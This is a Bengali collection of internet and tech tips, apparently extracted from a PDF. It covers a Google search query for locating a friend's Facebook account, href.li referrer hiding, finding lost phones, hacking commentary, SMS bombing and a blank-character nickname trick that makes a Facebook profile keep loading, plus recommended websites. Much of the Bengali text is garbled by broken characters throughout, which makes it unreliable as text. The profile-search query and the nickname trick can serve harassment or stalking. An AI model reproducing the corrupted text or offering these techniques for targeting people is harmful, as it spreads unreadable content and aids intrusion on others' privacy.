**আরও  িনখুঁতভােব  খুঁেজ  �পেত  িনেচর  �লখা  িলেখ  Google  সাচ� 
ক�ন-**

inurl:NAME site:facebook.com CT SC
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উপেরর NAME এর জায়গায় আপনার ব�ুর নাম, CT এর জায়গায় ব�ুর 
এলাকা/শহেরর  নাম,  SC এর  জায়গায়  আপনার  ব�ুর  �ুেলর  নাম  িলেখ 
সাচ� ক�ন। এরপর আশা করা যায় আপনার ব�ুর �ফসবুক একাউ� থাকেল 
অবশ�ই �পেয় যােবন। 

তেব,  আপনার  ব�ু  যিদ  �ফসবুক  Settings  �থেক  �গল  সােচ�  তার 
একাউ� �দখােনার অপশন off কের রােখ তাহেল, �কান ওেয়ব �াউজাের 
সাচ� কেরই তার একাউ� পােবন না।

�সে�ে�, �ফসবুেক সাচ� কের �দখেত হেব �যমন-

*  আপনার  ব�ুর  শহর,  �ুল  ইত�ািদর  নােম  �যসব  �ফসবুক  �প  আেছ 
�স�েলার member list এ আপনার ব�ুর একাউ� �পেত পােরন।

আর, আপনার ব�ু যিদ �লখাপড়া বা, চাকিরর কারেণ বত�মােন চীেন বসবাস 
কের, তাহেল �তা তার �ফসবুক একাউ�ই থাকেব না। কারণ, চীেন �ফসবুক 
ব�াবহার করা যায় না। তবুও �চ�া কের �দখেত ভুলেবন না।

ব�ু  মােনই  শি�।  হারােনা  ব�ুেদর  উে�েশ�  বলেত  চাই,  "আবার  যিদ 
�তােদর �দখা �পতাম, আর �কানিদন হারােত িদতাম না!"

───────────────
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সাইবার জগেতর অ�ুত ত�

ি� ওেয়বসাইট

১৯৯৫  সােলর  আেগ  আপিন  চাইেল  ি�েত  ওেয়বসাইেটর  নাম  �রিজ�ার 
করেত  পারেতন।  তাই,  তখন  চাইেল  আপিন  ি�েত  Facebook নােমর 
ওেয়বসাইেটর মািলক হেত পারেতন!

**Firefox �াউজাের পা�া**

Firefox এর fox মােন িশয়াল। িক�, Firefox �াউজােরর logo �ত 
িশয়ােলর মেতা �যই ছিব �দখা যায়, �সটা আসেল িশয়াল না। বরং, একিট 
লাল পা�া। িব�াস না হেল Firefox এর উ�র �দখেত পােরন-

https://www-archive.mozilla.org/projects/firefox/fire
fox-name-faq.html

www | ww7
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ওেয়বসাইেটর  ��েত  www থাকেলও  িকছু  িকছু  ওেয়বসাইেটর  ��েত 
ww1,  ww2  ইত�ািদ  �দখেত  পােবন।  আপনারা  �কউ  �দেখ  থাকেল 
comment কের জানােবন।

ি� GPS এর খরচ

আপিন ি�েত GPS ব�াবহার করেলও GPS পিরচালনা করেত �িতিদন 
�ায়  িমিলয়ন  ডলার  খরচ  হয়।  ২০২০  সােল  GPS এর  জন�  তৎকালীন 
��িসেড�  Trump  ১.৭  িবিলয়ন  ডলার  বরা�  কেরন।  িনেচর  িলংেক 
�দখেত পােরন-

https://www.gps.gov/policy/funding/2020/#dod-app
rops

**�মাবাইল বনাম টয়েলট**

এক  গেবষণায়  �দখা  যায়-  সারািবে�  �মাবাইল  আেছ  ৬  িবিলয়ন  অথচ, 
সারািবে� টয়েলট আেছ ৪.৫ িবিলয়ন। একটু আেগর িদেন িফের �গেল �দখা 
যােব-  �রিডও  ব�াবহারকারীর  সংখ�া  মা�  ০.৫  িমিলয়ন  হেতই  সময় 
�লেগিছেলা  ৩৮  বছর!  অথচ  �মাবাইল,  কি�উটােরর  সংখ�া  কেতা  �ত 
�বেড় চেলেছ!
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িলংেকর ��েত href.li থাকেল 

ভাইরাস?

মেন  ক�ন-  আপনার  একিট  ওেয়বসাইট  আেছ।  আপনার  ওেয়বসাইেট 
�ফসবুেকর একিট িলংক িলেখ �রেখেছন। এখন �কউ যিদ �সই িলংেক ি�ক 
কের  তাহেল  িতিন  �ফসবুেক  চেল  যােবন।  তেব,  �সই  সােথ  �াউজােরর 
HTTP  Header  এর  referrer  �থেক  �ফসবুক  �জেন  যােব  �য, 
আপনার ওেয়বসাইেট থাকা িলংেক ি�ক কেরই �সই ব�ি� �ফসবুেক �েবশ 
কেরেছ।

িক�,  আপিন  হয়েতা  চাইেবন  না  �য,  আপনার  ওেয়বসাইেট  থাকা  িলংেক 
ি�ক কের মানুষ যখন �কান ওেয়বসাইেট যােব তখন �সই ওেয়বসাইেটর 
মািলক  �সটা  জানুক।  এই  উে�শ�  িনেয়ই  href.li  ব�াবহার  করা  হয়। 
আসেল  এিট  হে�  একিট  ওেয়বসাইেটর  িলংক।  �সই  ওেয়বসাইেট  িগেয় 
আপিন �যেকান িলংক িলেখ **Hide the referrer **এ ি�ক করেল 
href.li যু� িলংক �পেয় যােবন। �যমনঃ �ফসবুেকর মূল িলংক হে�-

https://www.facebook.com

িক�, href.li ব�াবহার করেল িলংকিট হেব-
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https://href.li/?https://www.facebook.com

এখন  href.li  যু�  িলংেক  ি�ক  কের  �কান  ওেয়বসাইেট  �গেল 
ওেয়বসাইেটর  মািলক  বুঝেত  পারেব  না  �য,  আপনার  ওেয়বসাইট  �থেকই 
তার  ওেয়বসাইেট  �েবশ  করা  হেয়েছ।  অেনক  �াউজাের  যিদও  https 
ওেয়বসাইেট  এমিনেতই  এটা  জানা  যায়  না।  তেব,  href.li  যু�  িলংক 
ব�াবহার করেল �বিশ িনি�ত থাকা যায়।

আর,  অেনক  সময়  হ�াকাররা  �িতকর  ওেয়বসাইেটর  িলংেকর  ��েত 
href.li ব�াবহার কের। তাই, ি�ক করার আেগ িলংকিট ভােলা কের �দেখ 
িনন। আরও ভােলা হেব যিদ href.li এর পেরর অংেশ থাকা মূল িলংক 
copy কের, �সই িলংক �াউজাের িলেখ সরাসির ওেয়বসাইেট যাওয়া হয়। 
ধন�বাদ।

────────────
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হারােনা �ফান �ঁেজ পাওয়ার উপায়

আমােদর  অেনেকরই  �ফান  হািরেয়  যাওয়ার  অিভ�তা  রেয়েছ।  এবং 
অিধকাংশ ��ে� �ফান হািরেয় �গেল তা িফের পাওয়ার আশা আমরা �ছেড়ই 
�দই।  িক�  �গল  আপনার  হারােনা  �ফােনর  হিদস  �বর  করার  উপায়  �বর 
কেরেছ।  �গেলর  এই  সািভ�স  পাওয়ার  জন�  �ফান  আপনার  �ফােনর  িকছু 
অপশন চালু রাখেত হেব। 

আপনার এ�েয়ড �সটিট এই মু�েত� �কাথায় আেছ এটা জানার জন� িনেচর 
প�িত অনুসরণ ক�ন –

�থেম  https://android.com/find এই  িলে�  �েবশ  ক�ন  এবং 
আপনার �গল একাউে� সাইন ইন ক�ন।

আপনার  একািধক  �ফান  থাকেল  ি�েনর  উপেরর  ল�  �ফান  বাটেন  ি�ক 
ক�ন।

আপনার হািরেয় �ফােন একািধক ইউজার ��াফাইল থাকেল আপনার মুল 
��াফাইেলর �গল একাউে� সাইন ইন ক�ন।

আপনার হািরেয় যাওয়া �ফানিটেত একিট �নািটিফেকশন �পৗঁছােব।

এছাড়াও আপনার �ফান �গেলর সােথ িল� করা থাকেল google.com 
এ িগেয় find my phone িদেয় সাচ� কের �ফানিট খুঁেজ �বর করেত বা 
িরেমাটিল �ফােনর িরং অন করেত পারেবন।
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আপনার আই �ফানিট হািরেয় �গেল খুঁেজ পােবন িকভােব

আপনার হািরেয় যাওয়া আই �ফােনর হিদস জানেত আপনােক আেগ �থেক 
�যসব িবষেয় নজর রাখেত হেব �স�েলা হেলা –

আপনার আই �ফানিট আপেডট রাখুন। iOS 13 বা পরবিত� ভাস�ন ব�বহার 
ক�ন।

Apple Watch আপেডট রাখুন।

�লােকশন সািভ�স এবং Find My Device অপশন চালু রাখুন।

িকভােব খুঁেজ �বর করেবন ,

আপনার  িডভাইসিট  হািরেয়  যাওয়ার  আেগ  আপিন  যিদ  Find  My 
Device অপশন চালু রােখন তাহেল এই অপশনিট ব�বহার কেরই আপিন 
আপনার আই �ফান খুঁেজ �বর করেত পারেবন। এছাড়াও আপনার �ফােনর 
Offline Findings অন�  রাখার  সুবােদ  আপনার  আই  �ফানিট  �কান 
�নটওয়ােক�র সােথ কােনে�ড না থাকেল তা খুঁেজ �বর করেত পারেবন।
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আপনার আই �ফান িট ম�ােপ খুঁেজ �বর করার জ�

Find My App ওেপন ক�ন।

Device ট�াব বাছাই ক�ন। 

 ম�ােপ �লােকশন �দখার জন� Device িট িসেল� ক�ন।

আপনার �ফােন িরং বাজােনার জন�

Find My App ওেপন ক�ন।

Device ট�াব বাছাই ক�ন। 

আপনার হািরেয় যাওয়া Device িট িসেল� ক�ন এবং Play Sound 
অপশনিট �বেছ িনন। এে�ে� আপনার �ফানিট অফলাইেন থাকেল �কান িরং 
হেব না। তেব �কান �নটওয়ােক�র সােথ কােনে�ড থাকেল িরং হেব।

ম�ােপ আপনার �ফােনর িডেরকশন �পেত

Find My App ওেপন ক�ন।

Device ট�াব বাছাই ক�ন।

আপনার হািরেয় যাওয়া Device িট িসেল� ক�ন এবং ম�ােপ আপনার 
�ফােনর অব�ান �দখেত Directions িসেল� ক�ন।

───────
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হ�াক করা সহজ িক�, হ�াকার 

হওয়া?

কি�উটােরর  CPU �ধু  সামেনর  িদেক  তািকেয়  কাজ  করেত  পারেলও 
মানুষ  সামেন-�পছেন  সবিদেক  তািকেয়ই  কাজ  করেত  পাের।  িক�,  �সই 
বুি�মান  মানুেষর  কােছও  আজেকর  িবে�  অেনক  বড়  চ�ােল�  হেয় 
দাঁিড়েয়েছ- সাইবার িনরাপ�া িনি�ত করা। কারন ১০ বছর আেগর তুলনায় 
এখন  হ�ািকং  করা  সহজ  হেয়  িগেয়েছ।  িবিভ�  হ�ািকং  সফটওয়�ার 
িবনামূেল�ই  **open  source**  িহেসেব  ি�েত  অনলাইেন  পাওয়া 
যাে�। �স�েলা ব�াবহার কের হ�াক করা হে� �িতিদনই। িক�, হ�াক করা 
সহজ হেলও হ�াকার হওয়া সহজ না।

�াকার হওয়া কিঠন �কেনা?

আপিন যিদ ১২ হাজার টাকা িদেয়ও একিট **ethical hacking** 
�কাস� কেরন, তারপরও �কােস� �দখােনা হ�ািকং প�িত অনুসরন কের কাউেক 
হ�াক  করেত  পারেবন  না।  কারন,  আপনােক  �যসব  হ�ািকং  �শখােনা  হেব, 
সফটওয়�ার  �কা�ািন  �েলাও  �সসব  জােন।  ফেল,  অেনক  আেগই  তারা 
তােদর  সফটওয়�ােরর  আপেডট  ভাস�ন  বািনেয়  িদেয়েছ।  তাই,  �কােস�র 
�দখােনা প�িতেত নতুন ভাস�েনর  সফটওয়�ার হ�াক করা স�ব না। �ধুমা� 
�যসকল  ব�ি�  সফটওয়�ােরর  আপেডট  আসার  পেরও  পুরাতন  ভাস�েনর 
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সফটওয়�ারই ব�াবহার করেব, তােদরেক হ�াক করা যােব। অথ�াৎ, �কাস� কের 
আপিন �� পিরিধেত হ�ািকং করেত পারেলও আপিন এখনও হ�াকার হেয় 
যান িন। হ�াকার তখনই হেবন যখন কি�উটার কাজ স�ে� দ� হেবন এবং 
িনেজ �থেকই হ�াক করার নতুন পথ উ�াবন করেত পারেবন।

অথ�াৎ, কি�উটােরর ওপর দ�তা অজ�ন না করেল হ�াকার হওয়া স�ব না। 
িক�, অনলাইেন ২/৪ িট িভিডও �দেখই �ছাটখােটা হ�ািকং করা স�ব। তাই, 
কাউেক হ�ািকং করেত �দেখই তােক টাকা িদেয় কাজ কিরেয় িনেত যােবন 
না। কারন, �সই ব�ি� �যসব হ�ািকং �দিখেয়েছ, **Youtube** িভিডও 
�দেখ  আপিনও  �স�েলা  করেত  পারেবন।  **তারা  ২/১  িট  হ�ািকং  জােন; 
িক�, তারা হ�াকার না।**

────────────
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২ � ��ি� সাইবার টিপক

এসএমএস �বাি�ং | ওভারেলাড একাউ�

বত�মােন আমােদর �দেশর সাইবার জগেত �যই ২ িট কাজ খুব �বিশ হে� 
�স�েলা হেলা-

* এসএমএস �বাি�ং এবং

* ওভারেলাড �ফসবুক একাউ� �তির করা।

**এসএমএস �বাি�ং**

এসএমএস �বাি�ং বলেত �বাঝায়- কারও �মাবাইল ন�ের �চুর পিরমােণ 
sms িদেত থাকা। এসএমএস �বাি�ং করার িকছু ি� সফটওয়�ারও চেল 
এেসেছ।  �কউ  যিদ  আপনার  �মাবাইল  ন�ের  এসএমএস  �বাি�ং  কের 
তাহেল,  আপনার  �মাবাইেল  sms আসেতই  থাকেব।  এমনিক  �যই  ন�র 
�থেক sms আসেব, �সই ন�রিট blacklist এ পাঠােলও হয়েতা sms 
আসেতই  থাকেব।  কারন,  �যই  ব�ি�  আপনােক  sms  পাঠােব  তার 
�মাবাইল ন�র �িতিনয়ত বদলােত থাকেব। ফেল, এসএমএস �বাি�ং �থেক 
বাঁচেত পিরিচত �মাবাইল ন�র�িল whitelist এ পািঠেয় বািক সকল ন�র 
blacklist এ পাঠােত হয়। 
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**ওভারেলাড �ফসবুক একাউ�**

�ুল পড়ুয়া ছা�েদর মেধ� ওভারেলাড �ফসবুক একাউ� �তির করার �বণতা 
ইদানীং  খুব  �বেড়  �গেছ।  িক�,  ওভারেলাড  �ফসবুক  একাউ�  িবষয়টা 
আসেল  িক-  �সটা  অেনেকই  হয়েতা  জােনন  না।  আপনার  �ফসবুক  নােমর 
সােথ nickname �দওয়ার একিট অপশন আেছ। �সই nickname এর 
ঘের আপনার ডাক নাম িলেখ িদেত পােরন। তেব, �ধুমা� নাম না িলেখ 
নােমর  সােথ  অসংখ�  পিরমাণ  blank  character  িলেখ  িদেল  �সই 
একাউ�িট ওভারেলাড �ফসবুক একাউ� হেয় যােব। ফেল, �কউ যখন তার 
��াফাইেল  �যেত  চাইেব  তখন  �ধু  loading  হেত  থাকেব।  কারন, 
একাউে�র nickname �লািডং হেত �চুর সময় লাগেব।

উপের �যই ২ িট িবষেয় আেলাচনা করলাম �সই ২ িট িবষয়ই এখন খারাপ 
উে�েশ� ব�াবহার করা হে�। অপরাধীেদর কােছ এসব করা হে� �াট�েনস। 
আপনােকও �াট� হেত হেব। তেব, অপরাধ করার জন� নয়; বরং, অপরাধ 
�িতেরাধ করার জন�।

────────────
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�সরা িক� ওেয়বসাইট

everest3d

মাউ� এভােরে� ভাচু�য়ািল �মণ করেত চান? এখােন িগেয় কি�উটােরর 
মাধ�েম 3D এভােরে�র চারপাশ ঘুের �দখেত পারেবন।

িলংকঃ http://www.everest3d.de/

dictation

এখােন  িগেয়  আপিন  মুেখ  িকছু  বলেলই  আপনার  �সই  কথা  �লখায় 
�পা�িরত হেয় যােব।

িলংকঃ https://dictation.io/

http://www.everest3d.de/
http://www.everest3d.de/
http://www.everest3d.de/
https://dictation.io/
https://dictation.io/
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Whois

**এখােন  িগেয়  �যেকান  ওেয়বসাইেটর  নাম  িলেখ  সাচ�  িদেলই 
ওেয়বসাইেটর মািলেকর নাম �থেক �� কের অসংখ� তথ� �পেয় যােবন।

িলংকঃ https://www.whois.com/

chromeexperiments

�সৗরজগৎ ঘুের �দখেত চান? এই ওেয়বসাইেট িগেয় �দখেত পােরন।

িলংকঃ https://stars.chromeexperiments.com/

Pixabay

ি�েত �েফশনাল টাইেপর িভিডও ডাউনেলাড করেত পারেবন এখান �থেক।

িলংকঃ https://pixabay.com/

https://www.whois.com/
https://www.whois.com/
https://www.whois.com/
https://stars.chromeexperiments.com/
https://stars.chromeexperiments.com/
https://stars.chromeexperiments.com/
https://pixabay.com/
https://pixabay.com/
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webtopdf

এখােন  িগেয়  �যেকান  ওেয়ব  �পইজেক  PDF  বানােত  পারেবন।  ফেল, 
ই�ারেনট ছাড়াই বই িহেসেব �সই ওেয়ব �পইজ �দখেত পারেবন।

িলংকঃ https://webtopdf.com/

https://webtopdf.com/
https://webtopdf.com/

